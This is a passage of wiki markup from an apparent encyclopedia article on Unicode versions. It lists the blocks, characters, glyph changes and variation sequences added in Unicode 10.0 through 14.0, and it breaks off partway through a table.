* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
